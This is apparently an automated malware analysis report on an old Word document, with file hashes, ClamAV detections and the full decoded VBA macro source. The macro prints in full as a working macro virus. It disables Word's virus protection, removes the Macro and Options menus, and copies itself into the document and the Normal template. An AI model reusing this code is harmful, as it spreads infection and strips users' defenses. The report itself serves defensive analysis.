Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dea694b2ea036363…

MALICIOUS

Office (OLE)

42.0 KB Created: 2000-03-08 16:38:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3da919d818535b4e6554917398ef7461 SHA-1: ed3170706aeca8bf1646e1de94e2704bd1f3d4d5 SHA-256: dea694b2ea0363639eaae1fb92033fa2c5ef55a5774d660f001b7b0061aa23ba
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious documents. The script attempts to disable macro security warnings and overwrite the document's macros with its own code, indicating an attempt to maintain persistence or execute further malicious actions. The presence of the 'Doc.Trojan.Hope-12' and 'Doc.Trojan.Hope-4' ClamAV detections strongly suggests malicious intent.

Heuristics 3

  • ClamAV: Doc.Trojan.Hope-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-12
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1792 bytes
SHA-256: 4cb322f5a333362cd6ecd92d903b9305039c697903c551cd05720911526144e1
Detection
ClamAV: Doc.Trojan.Hope-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New()

End Sub

Private Sub Document_Open(): Document_Close: End Sub
'withered rope you hang what's empty can't remain to put it simply
Private Sub Document_Close(): On Error Resume Next
'in time cry the hollow words to sing with false disguise smothered
Options.ConfirmConversions = (0 - 0): Options.SaveNormalPrompt = (1 - 1): Options.VirusProtection = (2 - 2)
'hope fly from sorrow for a new divine tomorrow i just don't want
CommandBars("Tools").Controls("Macro").Delete: CommandBars("Tools").Controls("Options...").Delete
'to know anymore life shifts up and down everybody knows it's wrong
Set CM = MacroContainer.VBProject.VBComponents.Item(1).CodeModule
'why don't you care? now do it seem fair? it's not in the rhyme or
Set ad = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
'reason so it goes with every season crawl to top fall through
Set nt = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
'bottom first hand love is really rotten slice of life find what's
MC = CM.Lines(1, CM.CountOfLines)
'plenty inch towards a sanctuary light with me inside the womb i
ad.DeleteLines 1, ad.CountOfLines: ad.AddFromString MC
'know everyone everybody knows it's me it's my voice, my voice
nt.DeleteLines 1, nt.CountOfLines: nt.AddFromString MC
'cries out obscenity sightless eye regard my past sometimes it
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'should i just don't want to know anymore.
End Sub
'NoHope~By~Lys~KovicK Lyrics From Smothered Hope(Skinny Puppy)

Open this report in the interactive analyzer, or submit your own file for analysis.